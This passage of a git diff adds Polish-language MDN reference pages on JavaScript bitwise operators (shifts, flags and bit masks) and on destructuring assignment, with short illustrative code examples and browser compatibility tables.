z prawej strony są odrzucane. Sekwencja jest uzupełniana z lewej strony zerami. Bit znaku staje się zerem, dlatego też wynik jest zawsze nieujemny. W przeciwieństwie do pozostałych operatorów bitowych, przesunięcie w prawo z dopełnieniem zerami zwraca 32-bitową wartość całkowitą bez znaku.</p> + +<p>Dla liczb nieujemnych, przesunięcie w prawo z zerami i z zachowaniem znaku dają taki sam wynik. Przykładowo, <code>9 >>> 2</code> daje 2, tak samo jak <code>9 >> 2</code>:</p> + +<pre class="brush: js">. 9 (base 10): 00000000000000000000000000001001 (base 2) + -------------------------------- +9 >>> 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10) +</pre> + +<p>Inaczej wygląda to jednak w przypadku liczb ujemnych. Przykładowo, <code>-9 >>> 2</code> daje 1073741821, co jest różne od <code>-9 >> 2</code> (które daje <code>-3</code>):</p> + +<pre class="brush: js">. -9 (base 10): 11111111111111111111111111110111 (base 2) + -------------------------------- +-9 >>> 2 (base 10): 00111111111111111111111111111101 (base 2) = 1073741821 (base 10) +</pre> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Flagi_i_maski_bitowe">Flagi i maski bitowe</h3> + +<p>Bitowe operatory logiczne są często używane do tworzenia, manipulowania i odczytywania sekwencji <em>flag</em>, które działają jak zmienne binarne. Zmienne mogą być używane zamiast tych sekwencji, ale flagi zajmują znacznie mniej pamięci (32-krotnie).</p> + +<p>Załóżmy, że mamy następujące 4 flagi:</p> + +<ul> + <li>flaga A: mamy problem z mrówkami,</li> + <li>flaga B: mamy nietoperza,</li> + <li>flaga C: mamy kota,</li> + <li>flaga D: mamy kaczkę.</li> +</ul> + +<p>Flagi te są reprezentowane przez sekwencję bitów: DCBA. Kiedy flaga jest <em>ustawiona</em>, odpowiedni bit ma wartość 1. Kiedy flaga jest <em>wyczyszczona</em>, właściwy bit ma wartość 0. Załóżmy, że zmienna <code>flagi</code> ma binarną wartość 0101:</p> + +<pre class="brush: js">var flagi = 5; // binarnie 0101 +</pre> + +<p>Wartość ta wskazuje, że:</p> + +<ul> + <li>flaga A ma wartość „prawda” (mamy problem z mrówkami);</li> + <li>flaga B ma wartość „fałsz” (nie mamy nietoperza);</li> + <li>flaga C ma wartość „prawda” (mamy kota);</li> + <li>flaga D ma wartość „fałsz” (nie mamy kaczki);</li> +</ul> + +<p>Ponieważ operatory bitowe są 32-bitowe, 0101 to faktycznie 00000000000000000000000000000101, ale zera wiodące mogą być pominięte, gdyż nie zawierają żadnej znaczącej informacji.</p> + +<p><em>Maska bitowa</em> jest sekwencją bitów pozwalającą na manipulowanie flagami lub odczytywanie ich wartości. Zazwyczaj „podstawowe” maski bitowe dla każdej flagi będą zdefiniowane w następujący sposób:</p> + +<pre class="brush: js">var FLAGA_A = 1; // 0001 +var FLAGA_B = 2; // 0010 +var FLAGA_C = 4; // 0100 +var FLAGA_D = 8; // 1000 +</pre> + +<p>Nowe maski bitowe mogą być stworzone przy użyciu operatorów bitowych na tychże podstawowych maskach. Przykładowo, maska 1011 może być stworzona przy użyciu operatora OR na zmiennych FLAGA_A, FLAGA_B i FLAGA_D.</p> + +<pre class="brush: js">var maska = FLAGA_A | FLAGA_B | FLAGA_D; // 0001 | 0010 | 1000 => 1011 +</pre> + +<p>Pojedyncze wartości flag mogą być wyekstrahowane przez użycie operatora AND na fladze i właściwej masce – bit z wartością 1 „ekstrahuje” odpowiednią flagę. Maska bitowa <em>maskuje</em> wszystkie nieistotne flagi przez koniunkcję ich bitów z zerami maski (stąd nazwa „maska”). Przykładowo, maska 0100 może być użyta do sprawdzenia, czy flaga C jest ustawiona:</p> + +<pre class="brush: js">// czy mamy kota +if (flagi & FLAGA_C) { // 0101 & 0100 => 0100 => true + // coś zrób +} +</pre> + +<p>Maska z ustawionymi wieloma flagami działa jak alternatywa logiczna. Przykładowo, poniższe dwie wersje są równoważne:</p> + +<pre class="brush: js">// czy mamy nietoperza lub czy mamy kota +// (0101 & 0010) || (0101 & 0100) => 0000 || 0100 => true +if ((flagi & FLAGA_B) || (flagi & FLAGA_C)) { + // coś zrób +} +</pre> + +<pre class="brush: js">// czy mamy nietoperza lub kota +var maska = FLAGA_B | FLAGA_C; // 0010 | 0100 => 0110 +if (flagi & maska) { // 0101 & 0110 => 0100 => true + // coś zrób +} +</pre> + +<p>Flagi mogą być ustawione przez użycie na nich i masce operacji OR, gdzie każdy z bitów z wartością 1 będzie ustawiał odpowiednią flagę, jeśli nie jest już ustawiona. Przykładowo, maska 1100 może być użyta do ustawienia flag C i D:</p> + +<pre class="brush: js">// tak, możemy mieć kota i kaczkę +var maska = FLAGA_C | FLAGA_D; // 0100 | 1000 => 1100 +flagi |= maska; // 0101 | 1100 => 1101 +</pre> + +<p>Flagi mogą być czyszczone przez użycie operatora AND z maską, gdzie każdy z bitów z wartością 0 będzie czyścił odpowiednią flagę, jeśli nie jest już wyczyszczona. Maska może być stworzona przez użycie operatora NOT na maskach podstawowych. Przykładowo, maska 1010 może być użyta do wyczyszczenia flag A i C:</p> + +<pre class="brush: js">// nieprawdą jest, że mamy problem z mrówkami lub posiadamy kota +var maska = ~(FLAG_A | FLAG_C); // ~0101 => 1010 +flagi &= maska; // 1101 & 1010 => 1000 +</pre> + +<p>Maska może być również stworzona przez wyrażenie <code>~FLAG_A & ~FLAG_C</code> (z praw De Morgana):</p> + +<pre class="brush: js">// nie, nie mamy problemu z mrówkami i nie posiadamy kota +var maska = ~FLAGA_A & ~FLAGA_C; +flagi &= maska; // 1101 & 1010 => 1000 +</pre> + +<p>Flagi mogą być przełączane przez użycie operatora XOR z maską bitową, gdzie każðy bit będzie przełączał odpowiednią flagę. Przykładowo, maska 0110 może być użyta do przełączenia flag B i C:</p> + +<pre class="brush: js">// jeśli nie mieliśmy nietoperza, teraz go mamy, +// a jeśli go mieliśmy – pa, pa, nietoperku! +// tak samo z kotami +var maska = FLAGA_B | FLAGA_C; +flagi = flagi ^ maska; // 1100 ^ 0110 => 1010 +</pre> + +<p>Flagi mogą być odwracane przez operator NOT:</p> + +<pre class="brush: js">// przechodzimy do równoległego wszechświata... +flagi = ~flagi; // ~1010 => 0101 +</pre> + +<h3 id="Conversion_snippets">Conversion snippets</h3> + +<p>Konwersja binarnej zmiennej typu <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String" title="/en-US/docs/JavaScript/Reference/Global_Objects/String">String</a></code> do liczby dziesiętnej typu <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number">Number</a></code>:</p> + +<pre class="brush: js">var sBinString = '1011'; +var nMojaLiczba = parseInt(sBinString, 2); +alert(nMojaLiczba); // wypisuje 11, tzn. binarnie 1011 +</pre> + +<p>Konwersja dziesiętnej liczby do binarnego Stringa:</p> + +<pre class="brush: js">var nMojaLiczba = 11; +var sBinString = nMojaLiczba.toString(2); +alert(sBinString); // wypisuje 1011, tzn. dziesiętnie 11 +</pre> + +<h3 id="Automatyczne_tworzenie_masek">Automatyczne tworzenie masek</h3> + +<p>Możesz stworzyć wiele masek ze zbioru wartości typu <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean" title="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean">Boolean</a></code> values, na przykład:</p> + +<pre class="brush: js">function createMask() { + var nMask = 0, nFlag = 0, nLen = arguments.length > 32 ? 32 : arguments.length; + for (nFlag; nFlag < nLen; nMask |= arguments[nFlag] << nFlag++); + return nMask; +} +var mask1 = createMask(true, true, false, true); // 11, i.e.: 1011 +var mask2 = createMask(false, false, true); // 4, i.e.: 0100 +var mask3 = createMask(true); // 1, i.e.: 0001 +// itd. + +alert(mask1); // wypisuje 11, czyli binarnie: 1011 +</pre> + +<h3 id="Algorytm_odwrotny_tablica_zmiennych_boolowskich_z_maski">Algorytm odwrotny: tablica zmiennych boolowskich z maski</h3> + +<p>Jeśli chcesz stworzyć tablicę złożoną ze zmiennych boolowskich, możesz użyć następującego kodu:</p> + +<pre class="brush: js">function arrayFromMask(nMask) { + // nMask musi być pomiędzy -2147483648 a 2147483647 + if (nMask > 0x7fffffff || nMask < -0x80000000) { + throw new TypeError('arrayFromMask - out of range'); + } + for (var nShifted = nMask, aFromMask = []; nShifted; + aFromMask.push(Boolean(nShifted & 1)), nShifted >>>= 1); + return aFromMask; +} + +var array1 = arrayFromMask(11); +var array2 = arrayFromMask(4); +var array3 = arrayFromMask(1); + +alert('[' + array1.join(', ') + ']'); +// wypisuje "[true, true, false, true]", tzn.: 11, tzn.: 1011 +</pre> + +<p>Możesz przetestować obydwa algorytmy naraz:</p> + +<pre class="brush: js">var nTest = 19; // nasza maska +var nResult = createMask.apply(this, arrayFromMask(nTest)); + +alert(nResult); // 19 +</pre> + +<p>Jedynie dla celów dydaktycznych (jako że istnieje metoda <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toString" title="/en-US/docs/JavaScript/Reference/Global_Objects/Number/toString">Number.toString(2)</a></code>), pokażemy jak można zmodyfikować algorytm <code>arrayFromMask</code> tak, by tworzył zmienną <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String" title="/en-US/docs/JavaScript/Reference/Global_Objects/String">String</a></code> zawierającą binarną reprezentację danej liczby, zamiast tablicy zmiennych typu <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean" title="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean">Boolean</a></code>:</p> + +<pre class="brush: js">function createBinaryString(nMask) { + // nMask musi być pomiędzy -2147483648 a 2147483647 + for (var nFlag = 0, nShifted = nMask, sMask = ''; nFlag < 32; + nFlag++, sMask += String(nShifted >>> 31), nShifted <<= 1); + return sMask; +} + +var string1 = createBinaryString(11); +var string2 = createBinaryString(4); +var string3 = createBinaryString(1); + +alert(string1); +// wypisuje 00000000000000000000000000001011, i.e. 11 +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Definicja początkowa.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-11.7')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>Zdefiniowane w kilku sekcjach specyfikacji: <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.4.8">Bitwise NOT operator</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.7">Bitwise shift operators</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.10">Binary bitwise operators</a></td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-bitwise-shift-operators')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>Zdefiniowane w kilku sekcjach specyfikacji: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-bitwise-not-operator">Bitwise NOT operator</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-bitwise-shift-operators">Bitwise shift operators</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-binary-bitwise-operators">Binary bitwise operators</a></td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-bitwise-shift-operators')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td>Zdefiniowane w kilku sekcjach specyfikacji: <a href="http://tc39.github.io/ecma262/#sec-bitwise-not-operator">Bitwise NOT operator</a>, <a href="http://tc39.github.io/ecma262/#sec-bitwise-shift-operators">Bitwise shift operators</a>, <a href="http://tc39.github.io/ecma262/#sec-binary-bitwise-operators">Binary bitwise operators</a></td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> +</div> + +<p>{{Compat("javascript.operators.bitwise")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Logical_Operators">Operatory logiczne</a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/operatory/destructuring_assignment/index.html b/files/pl/web/javascript/referencje/operatory/destructuring_assignment/index.html new file mode 100644 index 0000000000..851acea725 --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/destructuring_assignment/index.html @@ -0,0 +1,493 @@ +--- +title: Przypisanie destrukturyzujące +slug: Web/JavaScript/Referencje/Operatory/Destructuring_assignment +translation_of: Web/JavaScript/Reference/Operators/Destructuring_assignment +--- +<div>{{jsSidebar("Operators")}}</div> + +<p>Składnia <strong>przypisania destrukturyzującego</strong> jest wyrażeniem w JavaScript, które pozwala na wyciągnięcie danych z tablic bądź obiektów do odrębnych zmiennych.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="brush: js notranslate">var a, b, rest; +[a, b] = [1, 2]; +console.log(a); // 1 +console.log(b); // 2 + +[a, b, ...rest] = [1, 2, 3, 4, 5]; +console.log(a); // 1 +console.log(b); // 2 +console.log(rest); // [3, 4, 5] + +({a, b} = {a:1, b:2}); +console.log(a); // 1 +console.log(b); // 2 + +// ES2016 - nie zaimplementowane w przeglądarce Firefox 47a01 +({a, b, ...rest} = {a:1, b:2, c:3, d:4}); </pre> + +<h2 id="Opis">Opis</h2> + +<p>Wyrażenie literału obiektowego i tablicowego umożliwiają łatwe tworzenie paczek danych <em>ad-hoc</em>. </p> + +<pre class="brush: js notranslate">var x = [1, 2, 3, 4, 5];</pre> + +<p>Składnia przypisania destrukturyzacyjnego używa podobnej składni, ale z lewej strony przypisania definiujemy, które elementy wyciągnąć ze zmiennej źródłowej.</p> + +<pre class="brush: js notranslate">var x = [1, 2, 3, 4, 5]; +var [y, z] = x; +console.log(y); // 1 +console.log(z); // 2 +</pre> + +<p>Funkcjonalność ta jest podobna do tych obecnych w językach takich jak Perl i Python.</p> + +<h2 id="Destrukturyzacja_tablic">Destrukturyzacja tablic</h2> + +<h3 id="Podstawowe_przypisanie_zmiennych">Podstawowe przypisanie zmiennych</h3> + +<pre class="brush: js notranslate">var foo = ["one", "two", "three"]; + +var [one, two, three] = foo; +console.log(one); // "one" +console.log(two); // "two" +console.log(three); // "three" +</pre> + +<h3 id="Przypisanie_oddzielne_od_deklaracji">Przypisanie oddzielne od deklaracji</h3> + +<p>Zmiennej można przypisać wartość poprzez destrukturyzację oddzielnie od deklaracji tej zmiennej.</p> + +<pre class="brush:js notranslate">var a, b; + +[a, b] = [1, 2]; +console.log(a); // 1 +console.log(b); // 2 +</pre> + +<h3 id="Domyślne_wartości">Domyślne wartości</h3> + +<p>Zmiennej można przypisać wartość domyślną, w wypadku, gdy wartość wyciągnięta z tablicy jest niezdefiniowana - <code>undefined</code>.</p> + +<pre class="brush: js notranslate">var a, b; + +[a=5, b=7] = [1]; +console.log(a); // 1 +console.log(b); // 7 +</pre> + +<h3 id="Zamiana_zmiennych">Zamiana zmiennych</h3> + +<p>Dwie zmienne mogą zamienić się miejscami przy wykorzystaniu jednego wyrażenia destrukturyzującego.</p> + +<p>Bez wyrażenia destrukturyzującego, zamiana zmiennych wymaga zmiennej tymaczasowej (bądź, w niektórych językach niskiego poziomu, tricku <a class="external" href="https://en.wikipedia.org/wiki/XOR_swap_algorithm">XOR-swap</a>).</p> + +<pre class="brush:js notranslate">var a = 1; +var b = 3; + +[a, b] = [b, a]; +console.log(a); // 3 +console.log(b); // 1 +</pre> + +<h3 id="Parsowanie_tablicy_zwróconej_przez_funkcję">Parsowanie tablicy zwróconej przez funkcję</h3> + +<p>Zwrócenie tablicy poprzez funkcję zawsze było możliwe. Destrukturyzacja może sprawić, że praca ze zwróconymi wartościami typu array będzie bardziej zwięzła.</p> + +<p>W tym przykładzie, <code>f()</code> zwraca wartości <code>[1, 2]</code> jako jej wyjście, mogą one być sparsowane w jednej linijce poprzez użycie destrukturyzacji.</p> + +<pre class="brush:js notranslate">function f() { + return [1, 2]; +} + +var a, b; +[a, b] = f(); +console.log(a); // 1 +console.log(b); // 2 +</pre> + +<h3 id="Ignorowanie_niektórych_zwróconych_wartości">Ignorowanie niektórych zwróconych wartości</h3> + +<p>Możesz zignorować zwrócone wartości, którymi nie jesteś zainteresowany.</p> + +<pre class="brush:js notranslate">function f() { + return [1, 2, 3]; +} + +var [a, , b] = f(); +console.log(a); // 1 +console.log(b); // 3 +</pre> + +<p>Możesz także zignorować wszystkie zwrócone wartości:</p> + +<pre class="brush:js notranslate">[,,] = f(); +</pre> + + + +<h3 id="Przypisanie_reszty_tablicy_do_zmiennej">Przypisanie reszty tablicy do zmiennej</h3> + +<p>Podczas destrukturyzacji array'a możesz wypakować i przypisać jego pozostałą część do zmiennej używając operatora reszty:</p> + +<pre class="brush: js notranslate">var [a, ...b] = [1, 2, 3]; +console.log(a); // 1 +console.log(b); // [2, 3]</pre> + +<p>Zwróć uwagę, że zostanie wyrzucony {{jsxref("SyntaxError")}} jeśli końcowy przecinek będzie użyty z prawej strony wyrażenia z elementem reszty: </p> + +<pre class="brush: js notranslate">var [a, ...b,] = [1, 2, 3]; +// SyntaxError: rest element may not have a trailing comma</pre> + +<h3 id="Wypakowywanie_wartości_z_wyników_wyrażenia_regularnego">Wypakowywanie wartości z wyników wyrażenia regularnego</h3> + +<p>Gdy metoda wyrażenia regularnego <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec">exec()</a></code> znajdzie pasujący element, zwraca ona tablicę zawierającą kolejno cały string zawierajacy pasujące elementy, a później elementy stringa, które pasowały do każdej grupy wyrażenia regularnego znajdującej się w nawiasach. Wyrażenie destrukturyzujące pozwala na łatwe wypakowanie elementów tej tablicy ignorując pełny string, gdy nie jest on potrzebny. </p> + +<pre class="brush: js notranslate">function parseProtocol(url) { + var parsedURL = /^(\w+)\:\/\/([^\/]+)\/(.*)$/.exec(url); + if (!parsedURL) { + return false; + } + console.log(parsedURL); // ["https://developer.mozilla.org/en-US/Web/JavaScript", "https", "developer.mozilla.org", "en-US/Web/JavaScript"] + + var [, protocol, fullhost, fullpath] = parsedURL; + return protocol; +} + +console.log(parseProtocol('https://developer.mozilla.org/en-US/Web/JavaScript')); // "https"</pre> + +<h2 id="Destrukturyzacja_obiektów">Destrukturyzacja obiektów</h2> + +<h3 id="Podstawowe_przypisanie">Podstawowe przypisanie</h3> + +<pre class="brush: js notranslate">var o = {p: 42, q: true}; +var {p, q} = o; + +console.log(p); // 42 +console.log(q); // true +</pre> + +<h3 id="Przypisanie_bez_deklaracji">Przypisanie bez deklaracji</h3> + +<p>Zmiennej można przypisać wartość poprzez destrukturyazację oddzielnie od deklaracji tej zmiennej.</p> + +<pre class="brush:js notranslate">var a, b; + +({a, b} = {a:1, b:2});</pre> + +<div class="note"> +<p>Nawiasy<code>( .. )</code> na krawędziach wyrażenia przypisania są składnią wymaganą podczas używania wyrażenia destrukturyzującego literał obiektowy bez deklaracji.</p> + +<p><code>{a, b} = {a:1, b:2}</code> nie jest poprawną składnią samą w sobie, ponieważ <code>{a, b}</code> z lewej strony wyrażenia jest odbierana jako blok, a nie literał obiektowy.</p> + +<p>Ale już, <code>({a, b} = {a:1, b:2})</code> jest poprawne, tak samo jak <code>var {a, b} = {a:1, b:2}</code></p> +</div> + +<h3 id="Przypisanie_do_nowych_nazw_zmiennych">Przypisanie do nowych nazw zmiennych</h3> + +<p>Zmienna może być wyciągnięta z obiektu i przypisana do zmiennej z inną nazwą niż nazwa właściwości obiektu.</p> + +<pre class="brush: js notranslate">var o = {p: 42, q: true}; +var {p: foo, q: bar} = o; + +console.log(foo); // 42 +console.log(bar); // true </pre> + +<h3 id="Wartości_domyślne">Wartości domyślne</h3> + +<p>Zmiennej można przypisać wartość domyślną, w wypadku, gdy wartość wyciągnięta z obiektu jest <code>undefined</code>.</p> + +<pre class="brush: js notranslate">var {a=10, b=5} = {a: 3}; + +console.log(a); // 3 +console.log(b); // 5</pre> + + + +<h3 id="Przypisywanie_do_nowych_nazw_zmiennych_i_zapewnienie_wartości_domyślnych">Przypisywanie do nowych nazw zmiennych i zapewnienie wartości domyślnych</h3> + +<p>Właściwość może być zarówno 1) wypakowana z obiektu i przypisana do zmiennej z inną nazwą 2) może być jej przypisana wartość domyślna, gdy wypakowana wartość jest <code>undefined</code>.</p> + +<pre class="brush: js notranslate">var {a:aa = 10, b:bb = 5} = {a: 3}; + +console.log(aa); // 3 +console.log(bb); // 5</pre> + + + +<h3 id="Ustawianie_domyślnej_wartości_parametru_funkcji">Ustawianie domyślnej wartości parametru funkcji </h3> + +<h4 id="Wersja_ES5">Wersja ES5</h4> + +<pre class="brush: js notranslate">function drawES5Chart(options) { + options = options === undefined ? {} : options; + var size = options.size === undefined ? 'big' : options.size; + var cords = options.cords === undefined ? { x: 0, y: 0 } : options.cords; + var radius = options.radius === undefined ? 25 : options.radius; + console.log(size, cords, radius); + // now finally do some chart drawing +} + +drawES5Chart({ + cords: { x: 18, y: 30 }, + radius: 30 +});</pre> + +<h4 id="Wersja_ES2015_ES6">Wersja ES2015 (ES6)</h4> + +<pre class="brush: js notranslate">function drawES2015Chart({size = 'big', cords = { x: 0, y: 0 }, radius = 25} = {}) { + console.log(size, cords, radius); + // do some chart drawing +} + +// In Firefox, default values for destructuring assignments are not yet implemented (as described below). +// The workaround is to write the parameters in the following way: +// ({size: size = 'big', cords: cords = { x: 0, y: 0 }, radius: radius = 25} = {}) + +drawES2015Chart({ + cords: { x: 18, y: 30 }, + radius: 30 +});</pre> + +<div class="note"> +<p>W definicji funkcji <strong><code>drawES2015Chart()</code></strong> powyżej, destrukturyzowana lewa strona wyrażenia jest przypisana do pustego literału obiektowego z prawej strony: <code>{size = 'big', cords = {x: 0, y: 0}, radius = 25} = {}</code>. Można by było również napisać funkcję bez prawostronnego przypisania. Jednakże jeśli zostawisz prawą stroę przypisania, funkcja będzie szukać przynajmniej jednego argumentu podczas wywołania, natomiast w jej obecnej formie możesz po prostu wywołać <code><strong>drawES2015Chart()</strong></code> bez podawania parametrów. Ten sposób jest użyteczny gdy chcesz mieć możliwość wywołania funkcji bez podawania parametrów, ten drugi może być użyteczny, gdy chcesz być pewny, że obiekt został wprowadzony do funkcji.</p> +</div> + +<h3 id="Obiekt_zagnieżdżony_i_destrukturyzacja_tablic">Obiekt zagnieżdżony i destrukturyzacja tablic</h3> + +<pre class="brush:js notranslate">var metadata = { + title: "Scratchpad", + translations: [ + { + locale: "de", + localization_tags: [ ], + last_edit: "2014-04-14T08:43:37", + url: "/de/docs/Tools/Scratchpad", + title: "JavaScript-Umgebung" + } + ], + url: "/en-US/docs/Tools/Scratchpad" +}; + +var { title: englishTitle, translations: [{ title: localeTitle }] } = metadata; + +console.log(englishTitle); // "Scratchpad" +console.log(localeTitle); // "JavaScript-Umgebung"</pre> + +<h3 id="Iteracja_for..of_i_destrukturyzacja">Iteracja for..of i destrukturyzacja</h3> + +<pre class="brush: js notranslate">var people = [ + { + name: "Mike Smith", + family: { + mother: "Jane Smith", + father: "Harry Smith", + sister: "Samantha Smith" + }, + age: 35 + }, + { + name: "Tom Jones", + family: { + mother: "Norah Jones", + father: "Richard Jones", + brother: "Howard Jones" + }, + age: 25 + } +]; + +for (var {name: n, family: { father: f } } of people) { + console.log("Name: " + n + ", Father: " + f); +} + +// "Name: Mike Smith, Father: Harry Smith" +// "Name: Tom Jones, Father: Richard Jones"</pre> + +<h3 id="Wyciąganie_pól_z_obiektów_przekazanych_jako_parametr_funkcji">Wyciąganie pól z obiektów przekazanych jako parametr funkcji</h3> + +<pre class="brush:js notranslate">function userId({id}) { + return id; +} + +function whois({displayName, fullName: {firstName: name}}){ + console.log(displayName + " is " + name); +} + +var user = { + id: 42, + displayName: "jdoe", + fullName: { + firstName: "John", + lastName: "Doe" + } +}; + +console.log("userId: " + userId(user)); // "userId: 42" +whois(user); // "jdoe is John"</pre> + +<p>To wyciąga <code>id</code>, <code>displayName</code> i <code>firstName</code> z obiektu <em>user </em>i wypisuje je.</p> + +<h3 id="Wyznaczane_nazwy_właściwości_obiektów_i_destrukturyzacja">Wyznaczane nazwy właściwości obiektów i destrukturyzacja</h3> + +<p>Wyznaczane nazwy waściwości, tak samo jak wh <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer#Computed_property_names">literałach obiektowych</a>, mogą być używane z destrukturyzacją.</p> + +<pre class="brush: js notranslate">let key = "z"; +let { [key]: foo } = { z: "bar" }; + +console.log(foo); // "bar" +</pre> + + + +<h3 id="Reszta_w_destrukturyzacji_obiektów">Reszta w destrukturyzacji obiektów</h3> + +<p><a href="https://github.com/tc39/proposal-object-rest-spread">Własciwości reszty/rozproszenia dla ECMAScript</a> (proponowane, etap 3) dodają składnię <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">reszty</a> do destrukturyzacji. Właściwości reszty zbierają pozostałe klucze, które nie zostały pobrane poprzez wzorzec destrukturyzacji.</p> + +<pre class="brush: js notranslate">let {a, b, ...rest} = {a: 10, b: 20, c: 30, d: 40} +a; // 10 +b; // 20 +rest; // { c: 30, d: 40 }</pre> + +<h3 id="Nipoprawny_identyfikator_JavaScript_jako_nazwa_własności">Nipoprawny identyfikator JavaScript jako nazwa własności</h3> + +<p>Destrukturyzacja może zostać użyta z nazwami własności, które nie są poprawnymi <a href="https://developer.mozilla.org/en-US/docs/Glossary/Identifier">identyfikatorami</a> JavaScript poprzez zapewnienie alternatywnego, poprawnego identyfikatora.</p> + +<pre class="brush: js notranslate">const foo = { 'fizz-buzz': true }; +const { 'fizz-buzz': fizzBuzz } = foo; + +console.log(fizzBuzz); // "true"</pre> + + + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-destructuring-assignment', 'Destructuring assignment')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Definicja wstępna.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-destructuring-assignment', 'Destructuring assignment')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Edge</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome(49.0)}}</td> + <td>{{ CompatGeckoDesktop("1.8.1") }}</td> + <td>14</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>7.1</td> + </tr> + <tr> + <td>Computed property names</td> + <td>{{CompatChrome(49.0)}}</td> + <td>{{ CompatGeckoDesktop("34") }}</td> + <td>14</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>Spread operator</td> + <td>{{CompatChrome(49.0)}}</td> + <td>{{ CompatGeckoDesktop("34") }}</td> + <td>12<sup>[1]</sup></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(49.0)}}</td> + <td>{{ CompatGeckoMobile("1.0") }}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>8</td> + <td>{{CompatChrome(49.0)}}</td> + </tr> + <tr> + <td>Computed property names</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(49.0)}}</td> + <td>{{ CompatGeckoMobile("34") }}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(49.0)}}</td> + </tr> + <tr> + <td>Spread operator</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(49.0)}}</td> + <td>{{ CompatGeckoMobile("34") }}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatChrome(49.0)}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] Wymaga odblokowanej flagi "Enable experimental Javascript features" w `about:flags`</p> + +<h2 id="Notatki_specyficzne_dla_Firefoxa">Notatki specyficzne dla Firefox'a</h2> + +<ul> + <li>Firefox zapewnił niestandardowe rozszerzenie języka w <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.7">JS1.7</a> dla destrukturyzacji. To rozszerzenie zostało usunięte w Gecko 40 {{geckoRelease(40)}}. Zobacz {{bug(1083498)}}.</li> + <li>Poczynając od Gecko 41 {{geckoRelease(41)}} żeby dostosować się do specyfikacji ES2015, składnia destrukturyzacji używająca nawiasów, takia jak<code>([a, b]) = [1, 2])</code> lub <code>({a, b}) = { a: 1, b: 2 }</code>, jest teraz uważana za niepoprawną i spowoduje {{jsxref("SyntaxError")}}. Zobacz<a class="external external-icon" 